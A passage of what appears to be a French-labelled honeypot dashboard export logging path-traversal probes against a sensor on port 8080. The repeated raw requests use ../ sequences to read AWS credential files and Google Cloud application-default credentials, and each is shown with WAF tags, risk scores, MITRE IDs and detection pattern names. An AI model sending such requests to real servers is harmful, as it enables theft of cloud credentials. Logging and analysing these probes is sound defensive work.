"service_os": "linux",
"dst_port": "8080"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950260:lfi-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"http_path_traversal",
"http_path_traversal_high",
"net_web_probe"
],
"asn_dc_heuristic": true
}
19/06/2026 22:20:12 UTC
TCP
8080 · HTTP
Traversal LFI
lfi path traversal · via HTTP:8080 · (tentative d'exploit) · → /../../../../../../../home/ubuntu/.aws/credenti…
Élevée
Élevé · 70
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1083
TA0001
TA0002
Protocole
GET /../../../../../../../home/ubuntu/.aws/credentials UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (K…
Émulateur
HTTP
WAF
27
Recommandation
Investiguer
Tags
950260:lfi-0
950326:rce-0
950468:nosqli-3
950470:nosqli-3
Cible HTTP
GET
/../../../../../../../home/ubuntu/.aws/credentials
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8080
Chemin / cible
/../../../../../../../home/ubuntu/.aws/credentials
Pourquoi cette classification : Sonde fichier sensible: traversal ../ · Règle WAF « lfi-0 » · Traversal / LFI dans le chemin · confiance 100%
Confiance classification
100%
Risque capteur
Élevé
· 70
Confiance : Confiance 100 % — Motif catalogue confirmé · 4 tag(s) WAF
Protocole émulé
1 Signaux
CRS-930100
Http Lfi
pat-0508
pat-0711
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
Cred AWS credentials file
ET path traversal encoded
CRS 930100 path traversal
CRS 930110
LFI Path traversal encoded
Ligne de requête
GET /../../../../../../../home/ubuntu/.aws/credentials HTTP/1.1
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Règles WAF
lfi-0
rce-0
nosqli-3
Payload (extrait)
GET /../../../../../../../home/ubuntu/.aws/credentials HTTP/1.1
Host: 62.3.50.33:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0
Requête brute (extrait)
GET /../../../../../../../home/ubuntu/.aws/credentials HTTP/1.1 Host: 62.3.50.33:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Connection: close
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206e67696e782f312e32342e300d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 81,
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 11,
"http_path_ext": "aws\/credentials",
"http_ua_hash": "44d3c8b849357a6a84abd560467256ebced73ec0",
"http_host_hash": "c9908f9a31aefa5902e21ee9fa132cbe056c536d",
"http_target_hash": "d80c9d5213b0f94f02f389e0e63bf98d09c57db5",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 234,
"payload_entropy": 5.2163819968148974,
"port_category": "registered",
"org": "Amazon.com, Inc.",
"service": "http",
"app_proto": "http",
"asn": 16509,
"country": "DE",
"dst_port": 8080,
"risk_waf": 100,
"risk_classification": 78,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 5.7,
"risk_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 70,
"tag_count": 7,
"anomaly_count": 0,
"campaign_key": "73bd4cce78224f86f1b427999a06bd4886268695",
"event_fingerprint": "8a238bb8ca653e67da01064fa9554c8109944f29",
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 467,
"precision_signals": [
"CRS-930100",
"INT-http_lfi",
"pat-0508",
"pat-0711",
"pat-0083",
"CRS-930100-sub"
],
"kb_rule_ids": [
"CRS-930100",
"INT-http_lfi",
"pat-0508",
"pat-0711",
"pat-0083",
"CRS-930100-sub",
"INT-upstream",
"INT-waf-score"
],
"matched_patterns": [
"pat-0468",
"pat-0508",
"pat-0711",
"pat-0083",
"pat-0081"
],
"matched_pattern_names": [
"Cred AWS credentials file",
"ET path traversal encoded",
"CRS 930100 path traversal",
"CRS 930110",
"LFI Path traversal encoded"
],
"pattern_ids": [
"pat-0468",
"pat-0508",
"pat-0711",
"pat-0083",
"pat-0081"
],
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 70
},
"named_classification_skipped": false,
"classification_parent": "path_traversal",
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "DE",
"asn": 16509,
"org": "Amazon.com, Inc.",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "544610c250911ce605588efb3a938aed",
"payload_hash": "543948129c557dfb23e12cdbd8b00798",
"path_pattern_hash": "6ea6aa81ae0d9b765dc976e40f660fcf"
},
"target_context": {
"dst_port": 8080,
"service": "http",
"service_name": "http",
"risk_score": 70
},
"method": "GET",
"path": "\/..\/..\/..\/..\/..\/..\/..\/home\/ubuntu\/.aws\/credentials",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950260:lfi-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-0",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/..\/..\/..\/..\/..\/..\/..\/home\/ubuntu\/.aws\/credentials HTTP\/1.1",
"payload_snippet": "GET \/..\/..\/..\/..\/..\/..\/..\/home\/ubuntu\/.aws\/credentials HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0",
"evidence": {
"method": "GET",
"path": "\/..\/..\/..\/..\/..\/..\/..\/home\/ubuntu\/.aws\/credentials",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950260:lfi-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-0",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/..\/..\/..\/..\/..\/..\/..\/home\/ubuntu\/.aws\/credentials HTTP\/1.1",
"request_sample": "GET \/..\/..\/..\/..\/..\/..\/..\/home\/ubuntu\/.aws\/credentials HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36\r\nConnection: close\r\n\r\n",
"payload_snippet": "GET \/..\/..\/..\/..\/..\/..\/..\/home\/ubuntu\/.aws\/credentials HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0",
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1083"
],
"mitre": "T1083",
"threat_family": [
"path_traversal"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "96426d262884c2514b3709e12dc5838085c1d629",
"protocol_details": {
"http_method": "GET",
"http_path": "\/..\/..\/..\/..\/..\/..\/..\/home\/ubuntu\/.aws\/credentials",
"request_line": "GET \/..\/..\/..\/..\/..\/..\/..\/home\/ubuntu\/.aws\/credentials HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/..\/..\/..\/..\/..\/..\/..\/home\/ubuntu\/.aws\/credentials HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0",
"attack_vector": "lfi path traversal \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/..\/..\/..\/..\/..\/..\/..\/home\/ubuntu\/.aws\/credenti\u2026",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"classification_reason_label_fr": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 70\/100 (\u00c9lev\u00e9) \u2014 MITRE T1083 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 70
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 70,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8080,
"protocol_emulated": true,
"tags_summary": [
"CRS-930100",
"INT-http_lfi",
"pat-0508",
"pat-0711"
],
"tags_summary_labels_fr": [
"CRS-930100",
"Http Lfi",
"pat-0508",
"pat-0711"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1083",
"mitre_technique": "T1083",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "GET",
"http_path": "\/..\/..\/..\/..\/..\/..\/..\/home\/ubuntu\/.aws\/credentials",
"request_line": "GET \/..\/..\/..\/..\/..\/..\/..\/home\/ubuntu\/.aws\/credentials HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "lfi path traversal \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/..\/..\/..\/..\/..\/..\/..\/home\/ubuntu\/.aws\/credenti\u2026",
"evidence_snippet": "GET \/..\/..\/..\/..\/..\/..\/..\/home\/ubuntu\/.aws\/credentials HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8080"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950260:lfi-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"http_path_traversal",
"http_path_traversal_high",
"net_web_probe"
],
"asn_dc_heuristic": true
}
19/06/2026 22:20:12 UTC
TCP
8080 · HTTP
Traversal LFI
lfi path traversal · via HTTP:8080 · (tentative d'exploit) · → /../../../../../../../home/node/.aws/credentials
Élevée
Élevé · 70
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1083
TA0001
TA0002
Protocole
GET /../../../../../../../home/node/.aws/credentials UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (K…
Émulateur
HTTP
WAF
27
Recommandation
Investiguer
Tags
950260:lfi-0
950326:rce-0
950468:nosqli-3
950470:nosqli-3
Cible HTTP
GET
/../../../../../../../home/node/.aws/credentials
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8080
Chemin / cible
/../../../../../../../home/node/.aws/credentials
Pourquoi cette classification : Sonde fichier sensible: traversal ../ · Règle WAF « lfi-0 » · Traversal / LFI dans le chemin · confiance 100%
Confiance classification
100%
Risque capteur
Élevé
· 70
Confiance : Confiance 100 % — Motif catalogue confirmé · 4 tag(s) WAF
Protocole émulé
1 Signaux
CRS-930100
Http Lfi
pat-0508
pat-0711
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
Cred AWS credentials file
ET path traversal encoded
CRS 930100 path traversal
CRS 930110
LFI Path traversal encoded
Ligne de requête
GET /../../../../../../../home/node/.aws/credentials HTTP/1.1
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Règles WAF
lfi-0
rce-0
nosqli-3
Payload (extrait)
GET /../../../../../../../home/node/.aws/credentials HTTP/1.1
Host: 62.3.50.33:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0;
Requête brute (extrait)
GET /../../../../../../../home/node/.aws/credentials HTTP/1.1 Host: 62.3.50.33:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Connection: close
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206e67696e782f312e32342e300d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 81,
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 11,
"http_path_ext": "aws\/credentials",
"http_ua_hash": "44d3c8b849357a6a84abd560467256ebced73ec0",
"http_host_hash": "c9908f9a31aefa5902e21ee9fa132cbe056c536d",
"http_target_hash": "01a22678551466daa43dfc9f18e30eaf63e5a53c",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 232,
"payload_entropy": 5.1730329569335485,
"port_category": "registered",
"org": "Amazon.com, Inc.",
"service": "http",
"app_proto": "http",
"asn": 16509,
"country": "DE",
"dst_port": 8080,
"risk_waf": 100,
"risk_classification": 78,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 5.7,
"risk_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 70,
"tag_count": 7,
"anomaly_count": 0,
"campaign_key": "73bd4cce78224f86f1b427999a06bd4886268695",
"event_fingerprint": "b21159e49ff40ebd157f1fcb5f8ec55ed3b8a57a",
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 467,
"precision_signals": [
"CRS-930100",
"INT-http_lfi",
"pat-0508",
"pat-0711",
"pat-0083",
"CRS-930100-sub"
],
"kb_rule_ids": [
"CRS-930100",
"INT-http_lfi",
"pat-0508",
"pat-0711",
"pat-0083",
"CRS-930100-sub",
"INT-upstream",
"INT-waf-score"
],
"matched_patterns": [
"pat-0468",
"pat-0508",
"pat-0711",
"pat-0083",
"pat-0081"
],
"matched_pattern_names": [
"Cred AWS credentials file",
"ET path traversal encoded",
"CRS 930100 path traversal",
"CRS 930110",
"LFI Path traversal encoded"
],
"pattern_ids": [
"pat-0468",
"pat-0508",
"pat-0711",
"pat-0083",
"pat-0081"
],
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 70
},
"named_classification_skipped": false,
"classification_parent": "path_traversal",
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "DE",
"asn": 16509,
"org": "Amazon.com, Inc.",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "544610c250911ce605588efb3a938aed",
"payload_hash": "9ff736e5612e9030f4cc494537528d1f",
"path_pattern_hash": "74289245f641c7179c66d6cef94e2169"
},
"target_context": {
"dst_port": 8080,
"service": "http",
"service_name": "http",
"risk_score": 70
},
"method": "GET",
"path": "\/..\/..\/..\/..\/..\/..\/..\/home\/node\/.aws\/credentials",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950260:lfi-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-0",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/..\/..\/..\/..\/..\/..\/..\/home\/node\/.aws\/credentials HTTP\/1.1",
"payload_snippet": "GET \/..\/..\/..\/..\/..\/..\/..\/home\/node\/.aws\/credentials HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0;",
"evidence": {
"method": "GET",
"path": "\/..\/..\/..\/..\/..\/..\/..\/home\/node\/.aws\/credentials",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950260:lfi-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-0",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/..\/..\/..\/..\/..\/..\/..\/home\/node\/.aws\/credentials HTTP\/1.1",
"request_sample": "GET \/..\/..\/..\/..\/..\/..\/..\/home\/node\/.aws\/credentials HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36\r\nConnection: close\r\n\r\n",
"payload_snippet": "GET \/..\/..\/..\/..\/..\/..\/..\/home\/node\/.aws\/credentials HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0;",
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1083"
],
"mitre": "T1083",
"threat_family": [
"path_traversal"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "7af22b190c0adee8740f4a83e1d6bb43a53e7bb2",
"protocol_details": {
"http_method": "GET",
"http_path": "\/..\/..\/..\/..\/..\/..\/..\/home\/node\/.aws\/credentials",
"request_line": "GET \/..\/..\/..\/..\/..\/..\/..\/home\/node\/.aws\/credentials HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/..\/..\/..\/..\/..\/..\/..\/home\/node\/.aws\/credentials HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0;",
"attack_vector": "lfi path traversal \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/..\/..\/..\/..\/..\/..\/..\/home\/node\/.aws\/credentials",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"classification_reason_label_fr": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 70\/100 (\u00c9lev\u00e9) \u2014 MITRE T1083 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 70
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 70,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8080,
"protocol_emulated": true,
"tags_summary": [
"CRS-930100",
"INT-http_lfi",
"pat-0508",
"pat-0711"
],
"tags_summary_labels_fr": [
"CRS-930100",
"Http Lfi",
"pat-0508",
"pat-0711"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1083",
"mitre_technique": "T1083",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "GET",
"http_path": "\/..\/..\/..\/..\/..\/..\/..\/home\/node\/.aws\/credentials",
"request_line": "GET \/..\/..\/..\/..\/..\/..\/..\/home\/node\/.aws\/credentials HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "lfi path traversal \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/..\/..\/..\/..\/..\/..\/..\/home\/node\/.aws\/credentials",
"evidence_snippet": "GET \/..\/..\/..\/..\/..\/..\/..\/home\/node\/.aws\/credentials HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0;",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8080"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950260:lfi-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"http_path_traversal",
"http_path_traversal_high",
"net_web_probe"
],
"asn_dc_heuristic": true
}
19/06/2026 22:20:12 UTC
TCP
8080 · HTTP
Traversal LFI
lfi path traversal · via HTTP:8080 · (tentative d'exploit) · → /../../../../../../../root/.config/gcloud/appli…
Élevée
Élevé · 70
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1083
TA0001
TA0002
Protocole
GET /../../../../../../../root/.config/gcloud/application_default_credentials.json UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (K…
Émulateur
HTTP
WAF
27
Recommandation
Investiguer
Tags
950260:lfi-0
950326:rce-0
950468:nosqli-3
950470:nosqli-3
Cible HTTP
GET
/../../../../../../../root/.config/gcloud/application_default_credentials.json
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8080
Chemin / cible
/../../../../../../../root/.config/gcloud/application_default_credentials.json
Pourquoi cette classification : Sonde fichier sensible: traversal ../ · Règle WAF « lfi-0 » · Traversal / LFI dans le chemin · confiance 100%
Confiance classification
100%
Risque capteur
Élevé
· 70
Confiance : Confiance 100 % — Motif catalogue confirmé · 4 tag(s) WAF
Protocole émulé
1 Signaux
CRS-930100
Http Lfi
pat-0508
pat-0711
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
ET path traversal encoded
CRS 930100 path traversal
CRS 930110
LFI Path traversal encoded
Ligne de requête
GET /../../../../../../../root/.config/gcloud/application_default_credentials.json HTTP/1.1
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Règles WAF
lfi-0
rce-0
nosqli-3
Payload (extrait)
GET /../../../../../../../root/.config/gcloud/application_default_credentials.json HTTP/1.1
Host: 62.3.50.33:8080
User-Agent:
Requête brute (extrait)
GET /../../../../../../../root/.config/gcloud/application_default_credentials.json HTTP/1.1 Host: 62.3.50.33:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Connection: clo
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206e67696e782f312e32342e300d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 81,
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 11,
"http_path_ext": "json",
"http_ua_hash": "44d3c8b849357a6a84abd560467256ebced73ec0",
"http_host_hash": "c9908f9a31aefa5902e21ee9fa132cbe056c536d",
"http_target_hash": "4d5188b99eb37043d10ca0272751043f704f520f",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 262,
"payload_entropy": 5.236412348561953,
"port_category": "registered",
"org": "Amazon.com, Inc.",
"service": "http",
"app_proto": "http",
"asn": 16509,
"country": "DE",
"dst_port": 8080,
"risk_waf": 100,
"risk_classification": 78,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 5.7,
"risk_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 70,
"tag_count": 7,
"anomaly_count": 0,
"campaign_key": "73bd4cce78224f86f1b427999a06bd4886268695",
"event_fingerprint": "2e5f9a246d481ce19d7f9df9910be691247e291a",
